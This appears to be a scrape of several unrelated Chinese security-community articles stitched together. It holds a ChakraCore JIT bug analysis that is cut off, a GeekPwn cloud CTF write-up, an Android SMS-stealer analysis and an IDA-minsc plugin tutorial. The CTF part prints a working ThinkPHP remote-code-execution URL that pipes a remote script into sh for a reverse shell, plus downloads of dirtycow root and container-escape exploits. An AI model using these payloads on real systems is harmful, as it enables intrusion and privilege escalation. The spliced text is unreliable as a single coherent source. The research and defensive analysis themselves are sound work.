对于新建对象，isObjTypeSpecialized=true，isObjTypeChecked=false，会生成类型检查：
回到补丁处，修补前，对于isObjTypeChecked=false的情况都会加入maybeWrittenTypeSyms；修补后，只有在isObjTypeSpecialized=false或者opnd->IsBeingAdded()
= true时才会加入maybeWrittenTypeSyms。显然，补丁修复后，去优化的条件放宽了，那么这样是否会引入新的问题呢？
我们看下面这个例子：
初始化对象{a:1}会生成opcode
InitFld，为对象初始化属性a并赋值为1。这里在优化目标操作数的时候，由于是对象属性操作会调用GlobOpt::FinishOptPropOp。
对于新建对象，isObjTypeSpecialized=true，isObjTypeChecked=false，补丁前会进入if
(!isObjTypeChecked)分支，将未做类型检查的对象symbol加入maybeWrittenTypeSyms。而补丁后，由于新建对象的isObjTypeSpecialized为true，且opnd->IsBeingAdded()=false，因此不会进入if分支，未做类型检查的对象symbol就不会加入maybeWrittenTypeSyms。
接下来，对于语句obj1.b = 0x1234会生成opcode
StFld，GlobOpt::FinishOptPropOp函数调用ProcessPropOpInTypeCheckSeq函数时，因为对象类型已经初始化过，会检查当前类型symbol是否存在maybeWrittenTypeSyms中：
如果不存在，则objectMayHaveAcquiredAdditionalProperties =
false，并通过opnd->SetTypeChecked
(!objectMayHaveAcquiredAdditionalProperties);设置目标操作数opnd.isTypeChecked =
true，最终不需要为obj1.b = 0x1234;语句生成类型检查。
观察补丁前后JIT forward阶段的dump:
可以看到，补丁后在优化obj1.b = 0x1234;语句时，由于处理let obj1 = {a:1}; let obj2 = {a:1};语句时
isObjTypeSpecialized=true，且opnd->IsBeingAdded()=false，因此未进入去优化操作分支设置maybeWrittenTypeSyms。导致在处理obj1.b
= 0x1234;语句时，objectMayHaveAcquiredAdditionalProperties =
false，从而opnd.isTypeChecked = true，最终不需要为obj1.b = 0x1234;增加类型检查。
那么对于补丁后在forward阶段不需要进行类型检查，但是确实存在对象属性增加的情况，第二次backward阶段会为其生成opcode
AdjustObjType，从而在JIT中动态调整对象类型：
观察补丁前后JIT Globopt阶段的dump:
可以看到补丁后，Globopt生成了AdjustObjType，位置在StFld之前，并且在后向遍历第一个Bailout之后。回顾笔者在《Chakra漏洞调试笔记2——OpCode
Side Effect》中介绍的DynamicObject的Memory
Layout。AdjustObjType在Lowerer阶段会生成AdjustSlots最终调整DynamicObject的Memory
Layout，将inline slots位置替换成auxSlots指针：
那么根据上面的分析，是否存在可能利用JIT里这次AdjustObjType的机会替换DynamicObject的Memory
Layout，实现类型混淆呢？这里笔者的思路是，由于AdjustObjType会被emit到backward pass
StFld上一个bailout指令后，因此通过尝试增加一些不会bailout的指令，分离AdjustObjType和StFld，实现auxSlots指针的类型混淆。
对上面的例子稍作改动，增加一个基本块：
这里增加一个基本块，将obj1赋值给obj2，并通过obj2.a = 0;语句尝试覆盖AdjustObjType后的auxSlots指针。最后在obj1.b
= 0x1234;时，由于auxSlots指针借助语句obj2.a = 0;被置为整数，从而可以造成内存访问异常。观察Globopt后的dump：
可以发现，这里AdjustObjType出现在obj2.a = 0;之后，不符合预期，我们需要将obj2.a =
0;的StFld指令emit到AdjustObjType之后。通过一些手动测试，笔者发现如下情况可以实现我们的目标：
观察Globopt后的dump：
可以看到AdjustObjType成功的被插入在obj2的LdFld和StFld之间，而obj2在上面的if分支可以被obj1替换，这样的话AdjustObjType就可以破坏LdFld和StFld之间原子操作
，StFld会将0覆盖到AdjustObjType后obj1.auxSlots指针。
Ch.exe运行PoC，很可惜并未发生crash，观察Lowerer阶段的dump，发现如下问题：
这里AdjustObjType在Lowerer阶段生成的汇编指令只是简单的将obj1的type做了替换，而并没有调用AdjustSlots，调试JIT也可以发现，obj1的inline
slots没有发生变化，0x1234放在了inline slots+0x8处：
考虑调整obj1初始化时的Memory Layout，我们得到了最终触发漏洞的PoC:
ch.exe运行poc：
调试情况：
## 0x2 利用思路
对于CharkaCore JIT中的auxSlots指针类型混淆，利用还是比较简单的，主要思路还是借助DateView实现任意地址读写和对象地址泄露：
利用这部分相关文章比较多，不再详述，这里给出完整的任意地址读写的exp，感兴趣的同学可以自行调试：
## 0x3 参考文献
1. <https://github.com/microsoft/ChakraCore/commit/64376deca69126c2bb05cd87bd5c073aedaf5f9c>
2. <https://www.anquanke.com/post/id/183127> | 社区文章 |
**作者：紫荆花**
**原文链接：<https://zhuanlan.kanxue.com/article-8686.htm>**
GeekPwn 与腾讯安全联合发起的“云安全挑战赛”线上热身赛已经落下帷幕。
经过 48 小时的比拼，Redbud025 战队以最快时间提交了最多正确答案，荣获第一名。本期，我们也邀请到这支来自清华大学网络与信息安全实验室的
Redbud025 战队，为大家还原解题过程。
这次是首个基于真实云平台的云安全挑战赛，整个题目是提权和逃逸的不断尝试，总共有七个题目。
比赛环境覆盖 APP, Docker, KVM 和 Pysical 各个层次，七个题目如下：
题目要求：
除测试题外，选手置身于一个模拟的云环境中，选手的任务就是从这个仅有的 Web 接口，层层渗透，获得更高的权限，用于读取指定的 flag 文件。
### 1、Web 网页测试题目
首先 Web 入口的题目的地址是→
`http://user0022:[email protected]:30022/public/index.php`
打开后有个 base64 字符串，解码即可得到 flag。
### 2、APP 题目
题目信息
小明选了学校的 Web 开发课程，学习了世界上最好的语言，女朋友想送他一本书作为生日礼物，她觉得《Thinking In
PHP》不错，可惜有点贵。选手的任务是帮小明女朋友找到存放在 /tmp/flag.lev2.txt 中的优惠码。
可以知道题目地址是个 thinkphp 框架；直接 google 查找 thinkphp 漏洞，发现
https://learnku.com/articles/21227 的漏洞可以成功利用，利用方式如下：
http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=需要执行的命令
通过这个漏洞反弹 shell，EXP 如下：
http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl+https%3A%2F%2Fshell.now.sh%2F154.223.145.173%3A1337+%7C+sh
执行 cat /tmp/flag.lev2.txt 得到 flag：flag{PHP_is_The_best_language_^^5578}
### 3、Docker 提权题目
题目信息
小明又选了一门《操作系统设计与原理》的课程，但是小明有个问题一直很疑惑，他区分不出特权用户和普通用户，选手能帮小明演示一下特权用户吗，例如帮小明读取一下存在
/root/flag.lev3.txt 中的课后作业答案。
直接使用上面一步反弹 shell 是无法读取 /root/flag.lev3.txt，因为权限不够。通过 whoami 可以看到是 centos
用户，这个环节是需要提权。在服务器 /tmp 目录下下载 linux-exploit-suggester.sh，通过执行得到如下信息：
sh ./linux-exploit-suggester.sh …….[+] [CVE-2017-16995] eBPF_verifier[+] [CVE-2016-5195] dirtycow[+] [CVE-2016-5195] dirtycow 2
服务器存在脏牛漏洞，使用
<https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679> POC。
下载 cowroot.c，在自己的服务器编译：
gcc cowroot.c -o cowroot -pthread
然后在 反弹shell 中下载：
curl -O http://154.223.145.173:8080/cowroot
运行得到 root 的 shell，从而可以顺利读取 /root/flag.lev3.txt 文件得到
flag：flag{root_in_the_docker^^1256}
### 4、Docker 逃逸题目
题目信息
小明同学在获得了 root 权限之后，他认为自己获得了至高无上的权限，非常开心的在 Linux 的世界中畅游，直到他发现 /root/message
文件中写着这个世界的秘密。意识到自己只是在容器中游玩，小明非常想让选手帮他看一下外面的风景，例如帮小明读取一下存在容器外部
/tmp/flag.lev4.txt 中的秘密。
读取 /root.message，其实没什么用就是告诉你：你在 Docker 里面，外面是 KVM 虚拟环境，需要选手逃逸 Docker。
没想到这题也是可以继续用脏牛 POC，<https://github.com/scumjr/dirtycow-vdso> ,即利用 dirtycow
内核漏洞修改 vdso，对内核宿主机进程进行 hook，造成 docker 逃逸。
在自己的服务器编译好，然后在目标机器执行：
curl http:// 你的服务器 IP/0xdeadbeef -o 0xdeadbeefchmod +x 0xdeadbeef./0xdeadbeef 你的服务器 IP: 端口
逃逸之后读取 /tmp/flag.lev4.txt 得到 flag：flag{jump_outsize_of_your_own^^3356}
### 5、KVM 提权题目
题目信息
小明同学已经被选手高超的技术所折服了，决定好好学习，励志从事信息安全行业，但是这时候交期末大作业的时候到了，小明尝试了多次还是做不出来。小明非常想让选手帮他读取一下
/root/flag.lev5.txt 中的大作业答案。
这题本意是想考察提权，但是题目 4 的 Docker 逃逸出来的用户有 root 权限，直接可以查看 /root/flag.lev5.txt 得到
flag：flag{root_is_very_powerfull^^4987}
题目 6 和题目 7 好像没有队伍做出来，题目 7 应该是个 0day 了。
**参考链接**
<https://github.com/mtalbi/vm_escape>
<https://david942j.blogspot.com/2018/09/write-up-tokyowesterns-ctf-2018.html>
<https://github.com/perfectblue/ctf-writeups/blob/master/RealWorldCTF-2018/kidvm.md>
<https://opensource.com/article/18/5/how-find-ip-address-linux>
<https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679>
* * * | 社区文章 |
之前拿到的几个恶意样本，简单分析来学习一下
冒充10086发过来的短信，要积分兑换现金，然后点进去链接要输入银行卡密码
这里我们点激活
然后退回桌面
一会儿这个app就自己消失了，隐藏自己
进入应用管理页面 可以看到无法卸载
我们将apk文件改后缀为rar并解压得到classes.dex文件
这里通过dex2jar
jar2smali可以将dex文件反编译为smali代码
得到classes-out文件夹
然后自己造了一个轮子，用来提取一些关键信息，比如url链接，手机号，邮箱等等，主要还是通过正则表达式来进行匹配
代码如下
脚本还很垃圾 师傅们轻喷~
# coding:utf-8
import os
import re
a = []
ips = []
emails = []
emails_fin = []
phones = []
def deleteSameNum(num):
num.sort()
last = num[-1]
for i in range(len(num)-2, -1, -1):
if last == num[i]:
del num[i]
else:
last = num[i]
return num
def bianli(rootdir):
for root,dirs,files in os.walk(rootdir):
for file in files:
b = os.path.join(root,file)
a.append(b)
for dir in dirs:
bianli(dir)
rootdir = 'classes-out/' # dex文件 dex2smali
bianli(rootdir)
for i in a:
file = open(i,'r')
con = file.read()
con1 = re.findall(r'[0-9a-zA-Z_]{0,19}@[0-9a-zA-Z]{1,13}\.[com,cn,net]{1,3}',con)
con2 = re.findall(r'1[35678]\d{9}',con)
con3 = re.findall(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+',con)
ips.append(con3)
phones.append(con2)
emails.append(con1)
def zhuan_(ffff):
ffff_fin = []
ffff = [x for x in ffff if x] # remove 空元素
for i in ffff:
for i2 in i:
ffff_fin.append(i2) # two 2 one
return ffff_fin
print deleteSameNum(zhuan_(emails))
print deleteSameNum(zhuan_(phones))
print deleteSameNum(zhuan_(ips))
可以得到一个地址
['<http://wap.dzf10086.com/kk/ch.php>']
将apk文件直接载入jeb分析
查看manifest文件
<?xml version="1.0" encoding="UTF-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="iuxkikw.zkjaksj.jhyvu" xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<application android:allowBackup="true" android:debuggable="true" android:icon="@drawable/qqq" android:label="@string/app_name" android:theme="@style/AppTheme">
<activity android:label="@string/app_name" android:name="com.fhgfd.heee.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:description="@string/app_name" android:label="@string/app_name" android:name="com.fhgfd.heee.kc" android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data android:name="android.app.device_admin" android:resource="@xml/xyz" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
<receiver android:name="com.fhgfd.heee.kd">
<intent-filter android:priority="2147483647">
<action android:name="b.b.b" />
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.USER_PRESENT" />
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package" />
</intent-filter>
</receiver>
<service android:name="com.fhgfd.heee.kse" />
</application>
</manifest>
可以看到一些比较危险恶意的权限
这里就是激活设备管理器了
还向病毒制作者发送的短信 来通知告诉病毒制作者
入口还是MainActivity
看看MainActivity
ksj类
kapi类
可以知道是通过aes加密
写个简单的脚本来解密一下
package com.example.lib.tttest1;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class tttest1 {
public static byte[] parseHexStr2Byte(String hexStr) {
if (hexStr.length() < 1)
return null;
byte[] result = new byte[hexStr.length() / 2];
for (int i = 0; i < hexStr.length() / 2; i++) {
int high = Integer.parseInt(hexStr.substring(i * 2, i * 2 + 1), 16);
int low = Integer.parseInt(hexStr.substring(i * 2 + 1, i * 2 + 2), 16);
result[i] = (byte) (high * 16 + low);
}
return result;
}
public static String decrypt(String content, String key) {
try {
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec(tttest1.parseHexStr2Byte(key), "AES"));
String v3 = new String(cipher.doFinal(tttest1.parseHexStr2Byte(content)));
return v3;
}
catch(Exception e) {
e.printStackTrace();
}
return null;
}
public static void main(String[] args) {
String a = decrypt("37349EC2F427A1AF812DA757988CB9DE", "AE920882F4F5818501AB6256F91691D5");
System.out.println(a);
}
}
得到一个手机号
13066310152
ksj.cvh 就是 手机号的值
传入kapi.s函数的第一个参数
这里是获取手机设备的IMEI
`this.getSystemService("phone").getDeviced()`
`String number = telephonyManager.getLine1Number();`
获取手机号码 获取用户本机号码
向制作病毒的人的手机发送拦截的短信
ka类
向这个地址发出http网络请求
把用户的手机信息回传到这个地址
ke类
监控用户收件箱变化
删除拦截到的短信在用户短信收件箱的记录
kd类
用来收到收短信received，然后停止广播
获取短信内容
`message.getOriginatingAddress()`
获取发信人的手机号
`message.getMessageBody()`
获取短信内容,然后就是把短信发送到病毒制作者的手机上
通过分析可以知道该apk程序具有以下恶意意图
1.拦截短信
2.隐藏图标 诱导激活设备管理器权限无法卸载
3.监控收件箱 删除拦截到的短信在用户短信收件箱的记录
4.向病毒制作者的一个手机号 和 网站 发送拦截到的短信包括发送者的手机号，设备信息IMEI，设备的手机号等 | 社区文章 |
稿件为翻译稿，来源为：
https://blog.talosintelligence.com/2018/09/ida-minsc.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29
如有翻译不到位，请私聊我。谢谢！
由于翻译内容过长，为了阅读的流程性我分成了两篇对内容进行介绍。
## 介绍
思科 Talos团队的Ali Rizvi-Santiago使用名为“IDA-minsc”插件在IDA插件竞赛中获得第二名。IDA是由Hex-Rays公司创建的多处理器反汇编调试器，今年诞生了四名获奖者并提交了9个插件。每年，该公司都会邀请研究人员提交相应插件用于改进其产品。Talos团队认为IDA-minsc插件足以改善用户的体验，因此其有足够的理由获得今年的奖项。
此插件旨在使人们更容易反汇编和注释二进制文件。我们相信此插件可加快注释过程并使用户更有效地工作。这是通过引入一些改变大多数用户开发Python方式的概念来完成的，这些概念允许用户将他们反汇编的部分视为更多可用于查询和注释的数据集。
这个功能与插件的各种组件相结合，可以根据用户当前的选择自动确定函数的参数，并允许用户快速编写用于标记和注释不同部分数据库的代码。
这个插件在这里有详细的文档介绍。下面，我们将通过反编译Atlantis Word Processor软件来展示这个插件的功能。而此软件是用Borland
Delphi编写的文档创建工具。本博客将概述如何快速标记查询对象，如何识别属于RTF解析器的标记及其属性，以及如何处理其他函数中定义的变量闭包。下面描述的所有功能都可以在上面链接的文档中找到，或者直接在命名空间或模块上调用Python的`help()`函数。
## 背景
IDA Python本质上是IDA SDK的包装器，它使不同的IDA组件在被执行时有单独的模块直接与其相对应。由于IDA
6.95中使用的模块太过复杂，以至于用户无法对其熟悉。 于是IDA
Python通过使用更多更高级别的函数来快速解决这个问题。然而，新模块的命名过于通用化，并且需要以前的IDC脚本语言知识。
在编写这个新插件时，我们发现我们可以将各种组件和功能组合到单独的模块中，从而更容易调用、引用它们。这个插件中有各种模块，但其主要特征是IDA-minsc开始使用的两个“上下文”。 这些模块都是具有静态方法的类定义，而这些静态方法用作“命名空间”以将那些作用于相似数据或语义的函数组合在一起。
## 创建初始化数据库
当首次在Atlantis Word
Processor中打开“awp.exe”文件时，IDA将对其进行处理。一旦IDA完成处理后，插件将启动并开始构建其标记缓存。标记缓存专门用于标记和查询。在此过程中，插件将迭代数据库中的所有的可用注释，同时更新内部缓存并显示其进度。一旦完成，用户可以开始进行反编译。
## 标记所有类及其大小
所有Delphi应用程序通常都包含一个名为“TObject”的类。
这个类可以由其余许多类继承，并且我们可以利用它来查找通常用作构造函数的“System.New”。首先，我们使用IDA-minsc列出所有引用“TObject”的符号名称。 这与使用IDA的“名称”窗口（Shift + F4）相同，但使用IDA-minsc的匹配组件来指定不同的关键字以过滤IDA的不同窗口。
Python>db.names.list(like='*TObject')
[ 0] 0x4010b0 _cls_System_TObject
[ 382] 0x4058e4 GetCurrentObject
[ 408] 0x4059b4 SelectObject
[11340] 0x67d658 __imp_SelectObject
[11366] 0x67d6c0 __imp_GetCurrentObject
如果我们双击“_cls_System_TObject”的地址或符号，IDA将指向其指定的地址。 这将如下图1所示，它展示了我们的“TObject”。
如果我们进行相互参照（Ctrl + X）操作，我们可以看到这个字符串被它右边的0x401070地址引用。 这表示Delphi中的实际类定义。
该地址是继承了“TObject”的类的一个引用。
一旦我们有了这个地址，我们就可以再次获取它的引用来查看继承“TObject”的所有的类 - 看起来他们大约有122个。
如果我们随机选择一个，我们会看到其看起来像某种结构。 该结构以自引用开始，并且包括了许多可以调用的函数。
在Delphi中，此自引用用于区分用于控制对象范围和功能的默认函数。
如果我们跟随此引用，那么我们会发现它上面是与标准库相关的函数，而后面的函数是有关自定义实现的方法。
由于图2中的三个函数与标准库相关，因此我们可以看到，如果我们逐个查看它们它们会执行一些任务。
地址为0x406dec的第三个函数似乎调用了“CloseHandle”，所以这可能是析构函数。 地址为0x406De4的第一个函数通常是构造函数。
如果我们选择这个函数并列出被使用的引用（X），我们可以看到它共有473个。 我们将使用这些引用来查找每个类并标记它们。
然而，在我们这样做之前，让我们详细了解一下这个结构：
CODE:00406DAE 8B C0 align 10h
CODE:00406DB0 F0 6D 40 00 off_406DB0 dd offset off_406DF0 ; [1]
CODE:00406DB0
CODE:00406DB4 00 00 00 00 00 00+ dd 7 dup(0)
CODE:00406DD0 F8 6D 40 00 dd offset str.TThread ; [3] "TThread"
CODE:00406DD4 28 00 00 00 dd 28h ; [5]
CODE:00406DD8 70 10 40 00 dd offset off_401070
CODE:00406DDC 38 2A 40 00 dd offset sub_402A38
CODE:00406DE0 40 2A 40 00 dd offset nullsub_9
CODE:00406DE4 98 28 40 00 dd offset sub_402898 ; Constructor
CODE:00406DE8 AC 28 40 00 dd offset sub_4028AC ; Finalizer
CODE:00406DEC E8 A9 40 00 dd offset sub_40A9E8 ; Destructor
CODE:00406DF0 38 AA 40 00 off_406DF0 dd offset loc_40AA38 ; [2]
CODE:00406DF4 C4 25 40 00 dd offset nullsub_11
CODE:00406DF8 07 54 54 68 72 65+ str.TThread db 7,'TThread' ; [4]
CODE:00406E00 04 6E 40 00 off_406E00 dd offset byte_406E04
如上文所述，该结构在[1]中包含自引用。 因为该引用由数据库中的函数使用，所以它被IDA标记。
此引用专门用于访问[2]以找到类的“构造函数”、“终结符”和“析构函数”。 此外，在[3]的开头附近是一个指向字符串的指针。
该字符串表示位于[4]的类名及其内容。 此字符串的格式与Pascal中的格式相同，后者以单字节长度开头，后跟表示字符串的字节数。
最后，在[5]中有该类的长度。 这表示为了存储其成员而需要分配的大小。 首先，让我们快速定义一个在IDA
Python命令行设置pascal样式字符串的函数。
为此，我们将使用`database.set.integer`命名空间将第一个字节作为长度的`uint8_t`。
对于字符串的其余部分，我们将使用带有长度的`database.set.string`将地址转换为指定长度的字符串。
Python>def set_pascal_string(ea):
Python> ch = db.set.i.uint8_t(ea)
Python> return db.set.string(ea + 1, ch)
完成后，如果我们需要我们可以使用`database.get.string`来读取它。
尽管`database.set`命名空间返回的是已创建的值，但我们可以使用以下内容对上面指定的代码进行反编译。
Python>def get_pascal_string(ea):
Python> ch = db.get.i.uint8_t(ea)
Python> return db.get.string(ea + 1, length=ch)
现在我们可以输入以下内容用来读取该地址的字符串
Python>print get_pascal_string(0x406df8)
TThread
现在我们可以获取并应用那些可以为我们提供名称的字符串，并且我们可以使用此名称来标记该类。
为此，我们将使用构造函数的所有引用，并使用每个引用来计算所有类的不同字段。 之后，我们将使用标签来标记不同的对象，以便我们以后可以在必要时进行查询。
首先，我们首先双击地址为0x406de4的“构造函数”。 这会将我们带我们来到函数“sub_402898”处。
既然我们知道这个函数是什么，那就让我们用以下命名：
Python>func.name('System.New')
sub_402898
如果你注意到，我们并没有提供地址。 因为没有提供地址，所以我们假设使用当前函数。 这是IDA-minsc的“多功能”组件。
如果我们对`function.name`运行`help（）`，我们可以看到其他变量：
Python>help(function.name)
Help on function name in module function:
name(*arguments, **keywords)
name() -> Return the name of the current function.
name(string=basestring, *suffix) -> Set the name of the current function to ``string``.
name(none=NoneType) -> Remove the custom-name from the current function.
name(func) -> Return the name of the function ``func``.
name(func, none=NoneType) -> Remove the custom-name from the function ``func``.
name(func, string=basestring, *suffix) -> Set the name of the function ``func`` to ``string``.
现在我们已经命名了这个函数，我们将遍历它的所有引用并获取它的不同字段。 作为我们上面描述的字段的参考，我们获得了以下内容：
CODE:00406DAE 8B C0 align 10h
CODE:00406DB0 F0 6D 40 00 off_406DB0 dd offset off_406DF0 ; [6] Top of class or Info (Reference - 16*4)
CODE:00406DB0
CODE:00406DB4 00 00 00 00 00 00+ dd 7 dup(0)
CODE:00406DD0 F8 6D 40 00 dd offset str.TThread ; [7] Class name (Reference - 8*4)
CODE:00406DD4 28 00 00 00 dd 28h ; [8] Class size (Reference - 7*4)
CODE:00406DD8 70 10 40 00 dd offset off_401070 ; [9] Parent class (Reference - 6*4)
CODE:00406DDC 38 2A 40 00 dd offset sub_402A38
CODE:00406DE0 40 2A 40 00 dd offset nullsub_9
CODE:00406DE4 98 28 40 00 dd offset sub_402898 ; [10] Constructor (Reference - 3*4)
CODE:00406DE8 AC 28 40 00 dd offset sub_4028AC ; [11] Finalizer (Reference - 2*4)
CODE:00406DEC E8 A9 40 00 dd offset sub_40A9E8 ; [12] Destructor (Reference - 1*4)
CODE:00406DF0 38 AA 40 00 off_406DF0 dd offset loc_40AA38 ; [13] * Reference
CODE:00406DF4 C4 25 40 00 dd offset nullsub_11
CODE:00406DF8 07 54 54 68 72 65+ str.TThread db 7,'TThread'
CODE:00406E00 04 6E 40 00 off_406E00 dd offset byte_406E04
通过这种布局，我们可以提取引用构造函数的所有类的不同组件，并标记它们以便稍后进行查询。
因为早期我们双击构造函数并命名它，所以我们当前应该在“System.New”函数中。 要获取所有引用值，我们可以使用`function.up（）`方法。
然后我们将遍历其所有引用，添加0xc（3 * 4 == 12）以获得[13]处的引用，然后使用它来定位其余字段。
对于类名[7]，我们将使用我们的`set_pascal_string`和`get_pascal_string`函数。对于标准作用域构造[10]，[11]和[12]，我们将对其进行操作并用它们标记其“
类型”。 这导致以下代码。 以下代码可以做得更短，但为了便于阅读所以我们进行了扩展。
Python>for ea in func.up():
Python> ref = ea + 3*4 # [13] calculate address to reference
Python>
Python> # read our fields
Python> lookup = {}
Python> lookup['info'] = ref - 16*4 # [6]
Python> lookup['name'] = ref - 8*4 # [7]
Python> lookup['size'] = ref - 7*4 # [8]
Python> lookup['parent'] = ref - 6*4 # [9]
Python> lookup['constructor'] = ref - 3*4 # [10]
Python> lookup['finalizer'] = ref - 2*4 # [11]
Python> lookup['destructor'] = ref - 1*4 # [12]
Python> lookup['object'] = ref # [13]
Python>
Python> # dereference any fields that need it
Python> name_ea = db.get.i.uint32_t(lookup['name'])
Python> parent_ea = db.get.i.uint32_t(lookup['parent'])
Python> size = db.get.i.uint32_t(lookup['size'])
Python>
Python> # set our name (just in case IDA has it defined as something else)
Python> set_pascal_string(name_ea)
Python>
Python> # decode our name
Python> name = get_pascal_string(name_ea)
Python>
Python> # name our addresses
Python> db.name(lookup['info'], 'gv', "Info({:s})".format(name))
Python> db.name(lookup['object'], 'gv', "Object({:s})".format(name))
Python>
Python> # tag our methods
Python> m_constructor = db.get.i.uint32_t(lookup['constructor'])
Python> func.tag(m_constructor, 'function-type', 'constructor')
Python> m_finalizer = db.get.i.uint32_t(lookup['finalizer'])
Python> func.tag(m_finalizer, 'function-type', 'finalizer')
Python> m_destructor = db.get.i.uint32_t(lookup['destructor'])
Python> func.tag(m_destructor, 'function-type', 'destructor')
Python>
Python> # tag our class structure
Python> db.tag(lookup['info'], 'object.name', name)
Python> db.tag(lookup['info'], 'object.methods', lookup['object'])
Python> db.tag(lookup['info'], 'object.size', size)
Python> if parent_ea:
Python> db.tag(lookup['info'], 'object.parent', parent_ea)
Python> continue
这将导致数据库中的所有Delphi对象都被标记。 由于标签利用的是数据库中的注释，因此当用户正在逆向时，他们可以立即看到与给定地址关联的标签可能的样子。
在IDA Python命令行执行了上一个代码后，“TThread”对象的外观如图3所示。
在此大块代码被执行后，数据库中的每个对象应该被标记。 这将允许我们使用`database.select（）`查询数据库，以便找到特定大小的类。
有关更多信息，请查看`database.select`中的`help()`函数。 使用它来查找0x38的对象大小的示例如下：
Python>for ea, tags in db.select(Or=('object.name', 'object.size')):
Python> if tags['object.size'] == 0x38:
Python> print hex(ea), tags
Python> continue
## 记录RTF的token值
Atlantis Word Processor包含RTF解析器。
这种文件格式是众所周知的，因此很容易识别它支持的标记，并希望找到负责解析每个标记参数的函数。 为此，我们将首先搜索定义在数组中的“objemb”字符串。
首先，我们可以使用IDA的文本搜索（Alt + T）。但我们可以通过使用IDA-minsc中`database.search`命名空间提供的功能，并与`go（）`函数结合。如此以来，我们便可以立即导航到制定内容。
Python>go(db.search.by_text('objemb'))
下图为将我们直接定位到“objemb”字符串的第一个实例。 如果我们进行对照（Ctrl + X），我们便能发现只有一个使用它的引用。
这将我们带到图4中的字符串引用列表。
由于没有引用，我们可以快速导航到IDA之前定义的标签。 由于IDA具有引用该特定地址的反汇编代码，因此该标签必然存在。
为此，我们可以使用`database.address`命名空间中的功能。 包括`nextlabel（）`和`prevlabel（）`函数。
我们可以通过在IDAPython命令行输入以下内容来使用它们：
Python>go(db.a.prevlabel())
这个数据似乎是一个数组，但IDA还没有对其进行定义。 我们可以点击'*'来调出IDA的“转换为数组”对话框，但我们可以使用IDA-minsc来代替。
我们将使用`database.address.nextlabel（）`和`database.here（）`（别名为`h（）`）来计算数组的元素数，然后使用`databaset.set.array()`将它分配到数据库中。
`database.set.array`函数采用“pythonic”类型作为其参数之一。 这在IDA-minsc的文档中进行了描述，其允许我们在IDA中描述类型，而无需理解正确的标志或类型。
在这种情况下，我们可以使用`（int，4）`来指定一个四字节整数（dword），但由于这是一个32位数据库，我们可以使用`int`来使用默认的整数大小。
Python>size = (db.a.nextlabel() - h())
Python>db.set.array(int, size / 4)
我们也使用`database.name（）`命名当前地址的数组：
Python>db.name('gv', "rtfTokenArray({:d})".format(db.t.array.length()))
看起来这个数组的某些元素没有被IDA标记为实际的字符串，如图5所示：
我们可以通过遍历此数组中的所有地址来取消定义地址，然后将其重新定义为字符串，以与手动操作相同的方式快速修复此问题。
这可以通过IDAPython命令行中的以下内容完成：
Python>for ea in db.get.array():
Python> db.set.undefined(ea)
Python> db.set.string(ea)
现在我们修复了这个数组。 如果我们导航回到顶部，我们会注意到这个数组与许多数组是连续的。
让我们首先修复这个数组并将我们当前的位置保存在变量`position`中，然后使用`database.address.prevlabel（）`来实现。
如此以来，我们可以像处理第一个数组那样进行其他操作。
Python>position = h()
Python>
Python>go(db.a.prevlabel())
Python>
Python>db.set.array(int, (db.a.nextlabel() - h()) / 4)
Python>db.name('gv', "rtfTokenArray({:d})".format(db.t.array.length()))
Python>for ea in db.get.array():
Python> db.set.undefined(ea)
Python> db.set.string(ea)
现在我们可以返回到之前保存的位置并重复操作一下两个数组：
Python>go(position)
Python>
Python>go(db.a.nextlabel())
Python>
Python>db.set.array(int, (db.a.nextlabel() - h()) / 4)
Python>db.name('gv', "rtfTokenArray({:d})".format(db.t.array.length()))
Python>for ea in db.get.array():
Python> db.set.undefined(ea)
Python> db.set.string(ea)
Python>
Python>go(db.a.nextlabel())
Python>
Python>db.set.array(int, (db.a.nextlabel() - h()) / 4)
Python>db.name('gv', "rtfTokenArray({:d})".format(db.t.array.length()))
Python>for ea in db.get.array():
Python> db.set.undefined(ea)
Python> db.set.string(ea)
现在它已经完成，我们可以列出我们使用`database.names`命名空间创建的所有数组。 让我们列出以“gv_rtfToken”开头的所有符号。
从这个列表中，让我们看一下我们定义的第一个数组（“gv_rtfTokenArray（213）”），然后双击它的地址。
Python>db.names.list('gv_rtfToken*')
[11612] 0x668ba8 gv_rtfTokenArray(64)
[11613] 0x668ca8 gv_rtfTokenArray(213)
[11614] 0x668ffc gv_rtfTokenArray(46)
[11615] 0x6690b4 gv_rtfTokenArray(135)
现在我们应该定义“gv_rtfTokenArray（213）”。 如果我们进行对照（Ctrl +
X），我们可以看到在地址0x431DD7（[14]）处只有一个代码引用。
CODE:00431DD7 000 A1 A8 8C 66 00 mov eax, ds:gv_rtfTokenArray(213) ; [14]
CODE:00431DDC 000 A3 EC 85 67 00 mov ds:dword_6785EC, eax ; [15]
